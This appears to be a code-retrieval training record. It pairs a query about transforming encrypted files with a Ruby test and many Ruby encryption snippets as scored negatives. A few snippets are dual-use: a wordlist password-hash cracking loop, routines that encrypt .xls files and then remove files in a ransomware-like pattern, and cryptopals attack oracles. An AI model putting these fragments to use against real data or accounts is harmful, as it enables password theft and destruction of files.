"def decrypt(message, hash: nil)\n # 0\n message = Base64.decode64(message)\n hmac = message[0..63] # 64 bits of hmac signature\n\n case\n when hash && hmac != hash\n raise Error, \"Provided hash mismatch for encrypted file!\"\n when hmac != hmac_signature(message[64..-1])\n raise Error, \"HMAC signature mismatch for encrypted file!\"\n end\n\n # 1\n rsa_encrypted_aes_key = message[64..319] # next 256 bits\n rsa_encrypted_aes_iv = message[320..575] # next 256 bits\n aes_encrypted_message = message[576..-1]\n\n # 2\n aes_key = @rsa.private_decrypt rsa_encrypted_aes_key\n aes_iv = @rsa.private_decrypt rsa_encrypted_aes_iv\n\n # 3\n @cipher.reset\n @cipher.decrypt\n @cipher.key = aes_key\n @cipher.iv = aes_iv\n content = @cipher.update(aes_encrypted_message) + @cipher.final\n\n { signature: hmac, content: content }\n rescue OpenSSL::OpenSSLError => e\n raise Error.new(e.message)\n end",
"def encryption_oracle(input)\n #Hardcoded, secret string\n append = 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg'\n append << 'aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq'\n append << 'dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg'\n append << 'YnkK'\n append = append.unpack('m')\n\n str = input + append.join\n\n cipher = OpenSSL::Cipher.new('AES-128-ECB') \n cipher.encrypt \n cipher.key = 'O' * Blocksize;\n \n enc = cipher.update(str) + cipher.final\n #Hex encoded return\n return enc.unpack('H*').join\nend",
"def decrypt_image\n return if @rows != nil\n @rows = []\n @encrypted_rows.each do |encrypted_row|\n row = @key.decrypt encrypted_row\n row_size = @columns && (@columns * 6) \n row = row[0, row_size]\n @rows << row\n end\n end",
"def handle_sync_key enc_key\n PRIVATE_KEY.private_decrypt enc_key\n end",
"def encryptable?(file = nil)\n bool = false\n flags_ptr = FFI::MemoryPointer.new(:ulong)\n\n if file\n file = File.expand_path(string_check(file))\n wide_file = file.wincode\n\n if !PathIsRootW(wide_file)\n unless PathStripToRootW(wide_file)\n raise SystemCallError.new(\"PathStripToRoot\", FFI.errno)\n end\n end\n else\n wide_file = nil\n end\n\n unless GetVolumeInformationW(wide_file, nil, 0, nil, nil, flags_ptr, nil, 0)\n raise SystemCallError.new(\"GetVolumeInformation\", FFI.errno)\n end\n\n flags = flags_ptr.read_ulong\n\n if flags & FILE_SUPPORTS_ENCRYPTION > 0\n bool = true\n end\n\n bool\n end",
"def authenticated_decrypter(context, cipher, envelope)\n http_resp = context.http_response\n content_length = http_resp.headers['content-length'].to_i\n auth_tag_length = auth_tag_length(envelope)\n\n auth_tag = context.client.get_object(\n bucket: context.params[:bucket],\n key: context.params[:key],\n version_id: context.params[:version_id],\n range: \"bytes=-#{auth_tag_length}\"\n ).body.read\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = ''\n\n # The encrypted object contains both the cipher text\n # plus a trailing auth tag.\n IOAuthDecrypter.new(\n io: http_resp.body,\n encrypted_content_length: content_length - auth_tag_length,\n cipher: cipher)\n end",
"def characterize(save: true)\n unzip_original_file if zip_file?\n new_file = original_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n @file_set = @persister.save(resource: @file_set) if save\n clean_up_zip_directory if zip_file?\n @file_set\n end",
"def encrypt_move(directory, key)\n\tfile_names = get_files\n\t#puts 'FILE NAMES ' + file_names.to_s\n\t\n\tenc_names = encrypt_files(file_names, key)\n\t#puts 'ENC NAMES ' + enc_names.to_s\n\t\n\tmove_files(enc_names, directory)\n\tremove_files(enc_names, directory)\nend",
"def decrypt(encrypted)\n return nil unless encrypted =~ /Validation: (.*?)\\n(.*)\\n\\*\\*\\*/m\n begin\n decipher = OpenSSL::Cipher.new(\"AES-128-CBC\")\n decipher.decrypt\n # puts \"**** $1=#{$1}, $2=#{$2}\"\n decipher.key = EMAIL_KEY\n decipher.iv = Base64.decode64($1)\n encrypted_data = Base64.decode64($2)\n # puts \"**** decipher.iv=#{Base64.encode64 iv}\"\n # puts \"**** encrypted=#{Base64.encode64 encrypted}\"\n return decipher.update(encrypted_data) + decipher.final \n rescue\n return nil\n end \n end",
"def encode_file(filename, format, options = T.unsafe(nil)); end",
"def encrypt_files(names, key)\n\tenc_names = Array.new\n\tcounter = 0 \n\n\tputs 'Encrypting files...'\n\n\tnames.each do |name|\n\t\tenc_name = name.gsub('.xls', '.enc')\n\t\tencrypt(name, enc_name, key)\n\t\tenc_names << enc_name\n\t\tcounter += 1\n\tend\n\n\tputs 'done, encrypted ' + counter.to_s + ' files'\n\treturn enc_names\nend",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n @target_file = @file_set.try(type)\n next unless @target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: @target_file.file_identifiers[0])\n @dataset_path = filename\n unzip_original_file if zip_file?\n new_file = @target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n clean_up_zip_directory if zip_file?\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def test_transform(f1,f2,hashpass,salt,iteration,option)\n succes = nil\n begin\n datastring = \"\"\n File.open(f1).each do |line|\n datastring = datastring + line.gsub(\"a\",\"4\")\n end\n\n file2 = File.new(f2,\"w\")\n file2.write(datastring)\n file2.close\n counter = 1\n lines = File.foreach(f2).count\n File.open(f2).each do |line|\n if option == \"-v\"\n fr = counter * (100.0/lines)\n printf(\"\\r%15s: [%-100s]\",\"#{line.chomp}\", \"=\" * (fr))\n end\n if cracked?(hashpass, line.chomp,salt,iteration,option)\n return succes = line\n end\n counter +=1\n end\n puts \"\"\n succes\n\n rescue => err\n puts \"Exception: #{err}\"\n end\nend",
"def encrypt(alg, password, string)\n \n begin\n case alg\n when \"3DES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'des3')\n when \"AES\" then key = EzCrypto::Key.with_password(password, $system_salt, :algoritmh => 'aes256')\n when \"Blowfish\" then key =EzCrypto::Key.with_password(password, $system_salt, :algoritmh => 'blowfish')\n when 'Plaintext' then return string\n else key = EzCrypto::Key.with_password(password, $system_salt, :algorithm => 'aes256') \n end\n encrypted_text = key.encrypt64(string)\n rescue => e\n p e.message\n end\n return encrypted_text\n \n end",
"def update\n respond_to do |format|\n if @encrypted_file.update(encrypted_file_params)\n format.html { redirect_to @encrypted_file, notice: 'Encrypted file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @encrypted_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(file=@file)\n if self.legacy?\n return unless @password.send(:to_file, self) \n end\n super\n end",
"def run_me\n bucket_name = \"doc-example-bucket\"\n object_key = \"my-file.txt\"\n region = \"us-west-2\"\n kms_key_id = \"9041e78c-7a20-4db3-929e-828abEXAMPLE\"\n object_content = File.read(object_key)\n\n # Note that in the following call:\n # - key_wrap_schema must be kms_context for AWS KMS.\n # - To allow reading and decrypting objects that are encrypted by the\n # Amazon S3 V1 encryption client instead, use :v2_and_legacy instead of :v2.\n s3_encryption_client = Aws::S3::EncryptionV2::Client.new(\n region: region,\n kms_key_id: kms_key_id,\n key_wrap_schema: :kms_context,\n content_encryption_schema: :aes_gcm_no_padding,\n security_profile: :v2\n )\n\n if encrypted_object_uploaded?(\n s3_encryption_client,\n bucket_name,\n object_key,\n object_content\n )\n puts \"Uploaded.\"\n else\n puts \"Not uploaded.\"\n end\nend",
"def encrypt(plain_text)\n len = plain_text.length\n if (len == 0) || (len % BlockLengthInBytes > 0) then\n puts \"(plain_text.length == 0) || (plain_text.length % BlockLengthInBytes > 0)\"\n return nil\n end\n blocks = plain_text.scan(/.{8}/m)\n encrypted_blocks = []\n blocks.each do |block|\n encryptedBlock = self.class.encryptBlock(block, @keys)\n encrypted_blocks << encryptedBlock\n end\n output = encrypted_blocks.join\n return output\n end",
"def ca_file; end",
"def ca_file; end"
] |
[
"0.7011238",
"0.66213244",
"0.6603866",
"0.64203644",
"0.63618094",
"0.62742245",
"0.62620693",
"0.62484926",
"0.5987304",
"0.5969199",
"0.59615564",
"0.5949683",
"0.59090906",
"0.5849061",
"0.57809436",
"0.573496",
"0.573496",
"0.5727793",
"0.5696474",
"0.56943",
"0.567588",
"0.5651605",
"0.56393605",
"0.5610933",
"0.55732906",
"0.55243415",
"0.5518797",
"0.5514844",
"0.5510436",
"0.5475727",
"0.54568344",
"0.5434274",
"0.54209137",
"0.5401805",
"0.5377599",
"0.5366965",
"0.53663003",
"0.53633386",
"0.53633386",
"0.5350136",
"0.5340493",
"0.5329075",
"0.53206915",
"0.53116715",
"0.5302243",
"0.5302243",
"0.53006",
"0.52751917",
"0.52654284",
"0.52266085",
"0.5220315",
"0.52088666",
"0.51938355",
"0.5189836",
"0.51841325",
"0.5181161",
"0.51740336",
"0.51702094",
"0.5163905",
"0.5161829",
"0.51508653",
"0.514602",
"0.514601",
"0.51399606",
"0.51244897",
"0.5110265",
"0.51016974",
"0.509933",
"0.50991327",
"0.5091502",
"0.5088563",
"0.5087105",
"0.5086452",
"0.5080992",
"0.5079416",
"0.5061401",
"0.50596464",
"0.50515586",
"0.5047911",
"0.50455254",
"0.50374454",
"0.50365156",
"0.50350136",
"0.5033674",
"0.5023018",
"0.50215787",
"0.50213313",
"0.5021119",
"0.501625",
"0.49950945",
"0.49883726",
"0.4985698",
"0.49829906",
"0.49725384",
"0.49698758",
"0.49614197",
"0.4956979",
"0.4956304",
"0.49510938",
"0.49449685",
"0.49449685"
] |
0.0
|
-1
|
not yet supported tries to transform the encrypted file succeeds, but unreadable
|
def test_encrypt_preview
path = "test/support/doc.pdf"
User.create!(avatar: {io: File.open(path), filename: "doc.pdf", content_type: "application/pdf"})
user = User.last
error = assert_raises(Lockbox::Error) do
user.avatar.preview(resize: "500x500").processed.blob.download
end
assert_equal "Preview not supported for encrypted files", error.message
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _encrypt\n cryptor_files(@encrypting)\n end",
"def encrypt_file(filename)\n #open the file by passing it the name and ..\n input = File.open(filename, 'r')\n #this is a string now so\n contents = input.read\n encrypted_contents = encrypt_string(contents)\n input.close\n output = File.open(filename + '.encrypted', 'w')\n output.write(encrypted_contents)\n output.close\n\n end",
"def decrypt_files\n not_implemented(__method__)\n end",
"def rotate_encryption!\n io = Lockbox::IO.new(read)\n io.original_filename = file.filename\n previous_value = enable_processing\n begin\n self.enable_processing = false\n store!(io)\n ensure\n self.enable_processing = previous_value\n end\n end",
"def encrypt_file(filename, rotation)\n \t# 1. Create the file handle to the input file\n \t\tinput = File.open(filename, \"r\")\n \t# 2. Read the text of the input file\n \t\tinput_string = input.read\n \t# 3. Encrypt the text\n \t\tencrypted_string = encrypt(input_string, rotation)\n \t# 4. Create a name for the output file\n \t\toutput_file = filename + \".encrypted\"\n \t# 5. Create an output file handle\n \t\tout = File.open(output_file, \"w\")\n \t# 6. Write out the text\n \t\tout.write(encrypted_string)\n \t# 7. Close the file\n \t\tout.close\n \tend",
"def unencrypted_path\n yield SafeFile.safepath_to_string(@filename)\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def encryptFile(fileIn,conf)\n\nsalt_len = 8\nbuf=''\npassword = conf[:passphrase]\ncipher = 'aes-128-cbc'\nputs aktTime()+' encrypting archive...'\nSTDOUT.flush #write out immediately\nsalt= OpenSSL::Random::pseudo_bytes(salt_len)\n\nc = OpenSSL::Cipher::Cipher.new(cipher)\nc.encrypt\n#generate key + IV from given password\nc.pkcs5_keyivgen(password, salt, 1)\nFile.open(CRYPT_TMP,'wb') do |fo|\n \n fo.write(MAGIC) #write magic string \n fo.write(salt) #write 8 bytes random salt\n File.open(fileIn,'rb') do |fi|\n while fi.read(4096,buf) \n fo.write c.update(buf)\n end\n fo.write( c.final)\n end\nend\n\n#overwrite archive with crypted archive\nputs aktTime()+' archive encrypted '\nFile.rename(CRYPT_TMP,fileIn)\nend",
"def encrypted?\n\t\tFile.exists?(File.join(self.location, \"encrypted\"))\n\tend",
"def encrypt_and_return_object_content(public_key_file, content)\r\n public_key = OpenSSL::PKey::RSA.new(File.read(public_key_file))\r\n Base64.encode64(public_key.public_encrypt(content))\r\nend",
"def decrypt; end",
"def signed_or_encrypted; end",
"def challenge7(file, key)\n CryptUtil.aes_128_ecb(Utils::Base64.decode(file.read), key, :decrypt)\n end",
"def initialize(file_name, stream = T.unsafe(nil), encrypter = T.unsafe(nil)); end",
"def decrypt_to(filename)\n self.opts.merge!({output: filename})\n decrypt\n end",
"def read_safe\n pwdata_enc_base64 = File.read(@pwfile)\n pwdata_encrypted = pwdata_enc_base64.unpack('m')[0] # fix for Ruby 1.9 also works with 1.8\n # was: unpack('m*').to_s\n # the cryptographic initialization vector is the first 32 chars of the unpacked string\n Encryptor.iv = pwdata_encrypted[0...32]\n pwdata_encrypted = pwdata_encrypted[32..-1]\n @pwdata = Encryptor.decrypt(pwdata_encrypted, @pwhash)\n end",
"def decrypt_from_file(secure)\n secure.open('rb') { |s| basic_decrypt(StringIO.new, s).string }\n end",
"def test_crypted\n mail = Notifier.fufu_crypted(\"<destination@foobar.com>\", \"<demo@foobar.com>\")\n\n assert_equal mail.delivery_method.settings[:address], 'smtp.com'\n assert_equal mail.from, [ \"demo@foobar.com\" ]\n\n assert_match /application\\/x-pkcs7-mime/, mail.content_type\n\n require 'tempfile'\n\n tf = Tempfile.new('actionmailer_x509')\n tf.write mail.encoded\n tf.flush\n\n comm = \"openssl smime -decrypt -in #{tf.path} -recip #{File.dirname(__FILE__)}/../lib/certs/server.crt -inkey #{File.dirname(__FILE__)}/../lib/certs/server.key -passin pass:demo 2>&1\"\n\n success = false\n output = IO.popen(comm)\n while output.gets do\n if $_ =~ /^This is the 3rd line, to make sure.../\n #unless $_ =~ /^Error reading S\\/MIME message/\n success = true\n end\n end\n assert_equal(success, true)\n end",
"def file2string filename\n string = FileOps::load filename\n if FileOps::encrypted? filename then\n password = Cipher::ask_password\n string = Cipher::decrypt string, password\n end\n [string, password]\n end",
"def encrypt(filename, key)\r\n\t\r\n\t_original = File.open(filename, \"r\")\r\n\t_encrypted = File.open(\"encrypted.txt\", \"w+\")\r\n\t\r\n\t# initialize the keyword as an encryption key\r\n\t_key = EncryptionKey.new(key)\r\n\t\r\n\tlinecount = 1\r\n\t\r\n\t# loop through each line, and then each character, modifying it by the current key value\r\n\t# then write the modified character to the output file\r\n\t_original.each do |line|\r\n\t\tcharcount = 1\r\n\t\tline.split(\"\").each do |originalChar|\r\n\t\t\t\r\n\t\t\ttemp = originalChar.ord\r\n\t\t\ttemp = (temp + _key.nextModVal()) % 256\t\t\t\r\n\t\t\tencryptedChar = temp.chr\r\n\t\t\t_encrypted << encryptedChar\r\n\t\t\tcharcount += 1\r\n\t\tend\r\n\t\tlinecount += 1\r\n\tend\r\n\t\r\nend",
"def encrypt_to(filename)\n self.opts.merge!({output: filename})\n encrypt\n end",
"def encrypt_file(filename, key)\n File.open(filename) do |file|\n data = file.read\n encrypted64 = hex_to_base64(repeat_key_xor(data, key))\n\n File.open(\"encrypted64_\" + filename, \"w\") do |out_file|\n out_file.write(encrypted64)\n end\n end\nend",
"def encrypt_to_file(string, secure)\n secure.open('wb') { |s| basic_encrypt(StringIO.new(string), s) }\n end",
"def test_it_can_cipher_a_file\n file = File.open(\"input.txt\", \"w\")\n file.write(\"I am in a file\")\n file.close\n assert_equal \"F xj fk x cfib\", @caesar.from_file(\"input.txt\")\nend",
"def transcode!(file)\n optimize = transloadit_client.step('image', '/image/optimize', {\n progressive: true,\n use: ':original',\n result: true\n })\n store = transloadit_client.step('store', '/s3/store', {\n key: ENV.fetch('S3_ACCESS_KEY'),\n secret: ENV.fetch('S3_SECRET_KEY'),\n bucket: ENV.fetch('S3_BUCKET'),\n bucket_region: ENV.fetch('S3_REGION'),\n use: 'image'\n })\n assembly = transloadit_client.assembly(steps: [optimize, store])\n assembly.submit! open(file)\n end",
"def update (data)\n cipher = new_encryption_cipher\n encrypted_file_content = cipher.update(data.to_yaml) + cipher.final\n\n File.open(vault_path, 'wb') { |f| f.write(encrypted_file_content) }\n FileUtils.chmod(0600, vault_path)\n end",
"def read_encrypted_secrets; end",
"def read_encrypted_secrets; end",
"def decrypt(filename, key)\r\n\t\r\n\t_decrypted = File.open(\"decrypted.txt\", \"w+\")\r\n\t_encrypted = File.open(filename, \"r\")\r\n\t\r\n\t# initialize the keyword as an encryption key\r\n\t_key = EncryptionKey.new(key)\r\n\t\r\n\t\r\n\t# loop through each line, and then each character, modifying it by the current key value\r\n\t# then write the modified character to the output file\t\r\n\t_encrypted.each do |line|\r\n\t\tline.split(\"\").each do |encryptedChar|\r\n\t\t\ttemp = encryptedChar.ord\r\n\t\t\ttemp = temp - _key.nextModVal()\r\n\t\t\t\r\n\t\t\tif temp < 0\r\n\t\t\t\ttemp = temp + 256\r\n\t\t\tend\r\n\t\t\tdecryptedChar = temp.chr\r\n\t\t\t_decrypted << decryptedChar\r\n\t\tend\r\n\tend\r\n\t\r\nend",
"def run_me\r\n key_strings = create_public_private_rsa_key_pair_strings\r\n public_key_string = key_strings['public_key_string']\r\n public_key_file = 'my-public-key.pem'\r\n private_key_string = key_strings['private_key_string']\r\n private_key_file = 'my-private-key.pem'\r\n content_to_encrypt = 'Hello, World!'\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n unless public_private_rsa_key_pair_files_created?(\r\n public_key_string,\r\n public_key_file,\r\n private_key_string,\r\n private_key_file\r\n )\r\n puts 'Program will stop.'\r\n exit 1\r\n end\r\n\r\n encrypted_content = encrypt_and_return_object_content(\r\n public_key_file,\r\n content_to_encrypt\r\n )\r\n puts \"Encrypted representation of '#{content_to_encrypt}' is:\"\r\n puts encrypted_content\r\n\r\n if encrypted_object_uploaded?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n encrypted_content\r\n )\r\n puts 'Uploaded.'\r\n else\r\n puts 'Not uploaded.'\r\n end\r\nend",
"def decrypted_path\n file_string = decrypted_file_string(@filename, @options['file_password'])\n Tempfile.create(['decrypted', '.docx'], encoding: file_string.encoding) do |file|\n file.write(file_string)\n file.close\n\n yield file.path\n end\n end",
"def decode_file\n # Open 'encoded' to read from\n File.open(\"encoded_#{original_datei}\",'r') { |fr|\n # Open 'decoded' to write to\n File.open(\"decoded_#{original_datei}\",'w') { |fw|\n fr.each_byte { |byte|\n # \"decode\" each byte and write to 'decoded'\n fw << encode(byte, -schluessel).chr\n }\n }\n }\n\n end",
"def read_encrypted_secrets=(_arg0); end",
"def read_encrypted_secrets=(_arg0); end",
"def encrypted_package\n @ms_off_crypto.encrypted_package\n end",
"def read_from_file(file_name)\n ::File.binread(file_name)\n rescue Errno::ENOENT\n raise(SymmetricEncryption::ConfigError, \"Symmetric Encryption key file: '#{file_name}' not found or readable\")\n end",
"def encrypt; end",
"def logrotated?(file)\n end",
"def perform_enrollment_transform file_path\n IO.foreach(file_path, sep_string = get_sep_string(file_path)) do |line|\n tmp_line = line.split(@delimiter)\n if tmp_line.length < 4\n transform_enrollment_file\n break\n elsif transform_enrollment_file?\n transform_enrollment_file\n break\n end\n end\n end",
"def encrypt_file(path, password = nil)\n salt = random_bytes(@salt_len)\n iv = random_bytes(@salt_len)\n aes_key, mac_key = keys(salt, password)\n\n cipher = cipher(aes_key, iv)\n hmac = OpenSSL::HMAC.new(mac_key, OpenSSL::Digest::SHA256.new)\n new_path = path + '.enc'\n\n File.open(new_path, 'wb') do |out_file|\n out_file.syswrite salt\n out_file.syswrite iv\n hmac.update iv\n\n file_chunks(path).each do |chunk|\n encrypted = cipher.update(chunk)\n hmac.update encrypted\n out_file.syswrite encrypted\n end\n encrypted = cipher.final\n\n hmac.update encrypted\n out_file.syswrite encrypted\n out_file.syswrite hmac.digest\n end\n new_path\n rescue TypeError, ArgumentError, SystemCallError, IOError => e\n error_handler e\n end",
"def uncrypt file, data, part\n cypher = WodaCrypt.new\n cypher.decrypt\n cypher.key = file.content.crypt_key.from_hex\n cypher.iv = WodaHash.digest(part.to_s)\n cypher.update(data) + cypher.final\n end",
"def run_me\n bucket_name = \"doc-example-bucket\"\n object_key = \"my-file.txt\"\n region = \"us-west-2\"\n kms_key_id = \"9041e78c-7a20-4db3-929e-828abEXAMPLE\"\n object_content = File.read(object_key)\n\n # Note that in the following call:\n # - key_wrap_schema must be kms_context for AWS KMS.\n # - To allow reading and decrypting objects that are encrypted by the\n # Amazon S3 V1 encryption client instead, use :v2_and_legacy instead of :v2.\n s3_encryption_client = Aws::S3::EncryptionV2::Client.new(\n region: region,\n kms_key_id: kms_key_id,\n key_wrap_schema: :kms_context,\n content_encryption_schema: :aes_gcm_no_padding,\n security_profile: :v2\n )\n\n if encrypted_object_uploaded?(\n s3_encryption_client,\n bucket_name,\n object_key,\n object_content\n )\n puts \"Uploaded.\"\n else\n puts \"Not uploaded.\"\n end\nend",
"def challenge_readable?\n cryptography_provider.respond_to? :decrypt\n end",
"def readfile(path, opt={})\n if File.readable?(path)\n bin = File.read(path).utf8!\n [bin, bin.former_enc ||'ascii-8bit' ]\n else\n raise ArgumentError.new(\"File is not readable!\")\n end\n end",
"def decrypt(provider)\n raise Yasst::Error::AlreadyDecrypted,\n 'File is already decrypted' unless encrypted?\n @encrypted = false\n replace(provider.decrypt(to_s))\n end",
"def decrypt_file(path, password = nil)\n in_file = File.new(path, 'rb')\n\n salt = in_file.sysread(@salt_len)\n iv = in_file.sysread(@iv_len)\n in_file.seek(-@mac_len, IO::SEEK_END)\n mac = in_file.sysread(@mac_len)\n\n in_file.close\n\n aes_key, mac_key = keys(salt, password)\n verify_file(path, mac, mac_key)\n\n cipher = cipher(aes_key, iv, false)\n chunks = file_chunks(path, @salt_len + @iv_len, @mac_len)\n new_path = path.gsub(/\\.enc$/, '.dec')\n\n File.open(new_path, 'wb') do |out_file|\n chunks.each do |chunk| \n out_file.syswrite cipher.update(chunk)\n end\n out_file.syswrite cipher.final\n end\n new_path\n rescue TypeError, ArgumentError, NoMethodError => e\n error_handler e\n rescue SystemCallError, IOError, OpenSSL::OpenSSLError => e\n error_handler e\n end",
"def decrypt\n self\n end",
"def encrypted_file_params\n params.require(:encrypted_file).permit(:myfile)\n end",
"def raw_encode()\n return Base64.encode64(File.read @file_path).delete(\"\\n\") if RUBY_VERSION < \"1.9.0\"\n Base64.strict_encode64(File.read @file_path)\n end",
"def transform(file, format:); end",
"def authenticated_decrypter(context, cipher)\n if RUBY_VERSION.match(/1.9/)\n raise \"authenticated decryption not supported by OpeenSSL in Ruby version ~> 1.9\"\n raise Aws::Errors::NonSupportedRubyVersionError, msg\n end\n http_resp = context.http_response\n content_length = http_resp.headers['content-length'].to_i\n auth_tag_length = http_resp.headers['x-amz-meta-x-amz-tag-len']\n auth_tag_length = auth_tag_length.to_i / 8\n\n auth_tag = context.client.get_object(\n bucket: context.params[:bucket],\n key: context.params[:key],\n range: \"bytes=-#{auth_tag_length}\"\n ).body.read\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = ''\n\n # The encrypted object contains both the cipher text\n # plus a trailing auth tag. This decrypter will the body\n # expect for the trailing auth tag.\n IOAuthDecrypter.new(\n io: http_resp.body,\n encrypted_content_length: content_length - auth_tag_length,\n cipher: cipher)\n end",
"def set_encrypted_file\n @encrypted_file = EncryptedFile.find(params[:id])\n end",
"def with_encoding_check(safe_path)\n forced_encoding = nil\n\n stream = ::File.open(SafeFile.safepath_to_string(safe_path))\n\n unless external_utf8_check?(safe_path)\n stream = StringIO.new ensure_utf8!(stream.read)\n forced_encoding = 'UTF8'\n end\n\n yield stream, forced_encoding\n end",
"def can_decrypt?\n false\n end",
"def encrypt(file)\n unless EncryptFileW(string_check(file).wincode)\n raise SystemCallError.new(\"EncryptFile\", FFI.errno)\n end\n self\n end",
"def ansible_vault_read(path_to_encrypted_file, name: 'encrypted resource', password: nil)\n\n exit_status = 666\n while exit_status != 0\n # because ansible-vault may prompt\n\n password ||= ansible_vault_password_from_environment\n\n if password\n pw_file = write_temp_file(password)\n decrypted_contents = %x( ansible-vault --vault-password-file \"#{ pw_file }\" view \"#{ path_to_encrypted_file }\" )\n else\n decrypted_contents = %x( ansible-vault view \"#{ path_to_encrypted_file }\" )\n end\n\n exit_status = $?.exitstatus\n\n if exit_status != 0\n if password.nil?\n # means we are interactive, so show alert and try again until user cancels\n puts \"⚠️ ️Unable to decrypt #{ name } at #{path_to_encrypted_file}. Please try again.\\n\\n\"\n else\n break\n end\n end\n end\n\n decrypted_contents\n end",
"def decrypted_file_string(path, password)\n # Ensure password is a binary representation of a UTF-16LE string\n # e.g. 'password' should be represented as \"p\\0\\a\\s\\0[...]\"\n password = password.encode('utf-16le').bytes.pack('c*').encode('binary')\n\n OoxmlDecrypt::EncryptedFile.decrypt(SafeFile.safepath_to_string(path), password)\n end",
"def transform_files\n extract\n reorder_files\n transform @attendance_file, 'att' unless @attendance_file.blank?\n transform @enroll_file, 'enroll' unless @enroll_file.blank?\n transform @ili_file, 'ili' unless @ili_file.blank?\n end",
"def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == \"\"\n raise(\"input file not specified\")\n end \n \n if output_filename == \"\"\n raise(\"output file not specified\")\n end\n \n if output_format == \"\"\n raise(\"output format not specified\")\n end\n \n str_uri = $productURI + \"/words/convert?format=\" + output_format\n str_signed_uri = Common::Utils.sign(str_uri)\n \n response_stream = Common::Utils.uploadFileBinary(input_file, str_signed_uri) \n \n valid_output = Common::Utils.validate_output(response_stream)\n \n if valid_output == \"\"\n \n if output_format == \"html\"\n saveformat = \"zip\"\n else\n saveformat = output_format\n end\n \n if output_filename == \"\"\n output_filename = Utils::get_filename(input_file) + \".\" + saveformat\n end\n \n output_path = $OutPutLocation + output_filename\n Common::Utils.saveFile(response_stream,output_path)\n return \"\"\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def encode_file\n # open 'orginal' to read from\n # fr = File.open(\"#{original_datei}\", 'r') dann muss die Datei explizit geschlossen werden\n File.open(\"#{original_datei}\", 'r') {|fr|\n # create 'encoded' to write to\n File.open(\"encoded_#{original_datei}\",'w') { |fw|\n # encode each letter and then write to 'encoded'\n fr.each_byte{|byte|\n fw << encode(byte).chr\n }\n }\n }\n end",
"def encryptor(io, password, &b)\n Encrypt.open(io, password, mtime, &b)\n end",
"def characterize(save: true)\n unzip_original_file if zip_file?\n new_file = original_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n @file_set = @persister.save(resource: @file_set) if save\n clean_up_zip_directory if zip_file?\n @file_set\n end",
"def open_file(client, path, cipher)\n if File.exist?(path)\n File.open(path, 'r') do |f|\n f.each_line do |line|\n client.puts(encrypt(line, cipher))\n end\n end\n end\n end",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n @target_file = @file_set.try(type)\n next unless @target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: @target_file.file_identifiers[0])\n @dataset_path = filename\n unzip_original_file if zip_file?\n new_file = @target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n clean_up_zip_directory if zip_file?\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def test_encrypt_variant\n path = \"test/support/image.png\"\n User.create!(avatar: {io: File.open(path), filename: \"image.png\", content_type: \"image/png\"})\n\n user = User.last\n error = assert_raises(Lockbox::Error) do\n user.avatar.variant(resize: \"500x500\").processed\n end\n assert_equal \"Variant not supported for encrypted files\", error.message\n end",
"def upload_file_encrypted_aes256_at_rest?(\n s3_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content,\n server_side_encryption: 'AES256'\n )\n return true\nrescue StandardError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend",
"def lookForXOR(fileName)\n cryptoLines = IO.readlines(fileName)\n \n cryptoLines.each do |c|\n breakXORCipher c.strip\n end\nend",
"def encryptable?(file = nil)\n bool = false\n flags_ptr = FFI::MemoryPointer.new(:ulong)\n\n if file\n file = File.expand_path(string_check(file))\n wide_file = file.wincode\n\n if !PathIsRootW(wide_file)\n unless PathStripToRootW(wide_file)\n raise SystemCallError.new(\"PathStripToRoot\", FFI.errno)\n end\n end\n else\n wide_file = nil\n end\n\n unless GetVolumeInformationW(wide_file, nil, 0, nil, nil, flags_ptr, nil, 0)\n raise SystemCallError.new(\"GetVolumeInformation\", FFI.errno)\n end\n\n flags = flags_ptr.read_ulong\n\n if flags & FILE_SUPPORTS_ENCRYPTION > 0\n bool = true\n end\n\n bool\n end",
"def encryption_oracle\n # From an early-on AES-128-ECB exercise. 'YELLOW SUBMARINE' is the 128-bit key.\n ciphertext = URL::decode64('http://cryptopals.com/static/challenge-data/25.txt')\n plaintext = AES_128.decrypt(ciphertext, 'YELLOW SUBMARINE', :mode => :ECB)\n\n AES_128.encrypt(plaintext, AES_KEY, :mode => :CTR)\nend",
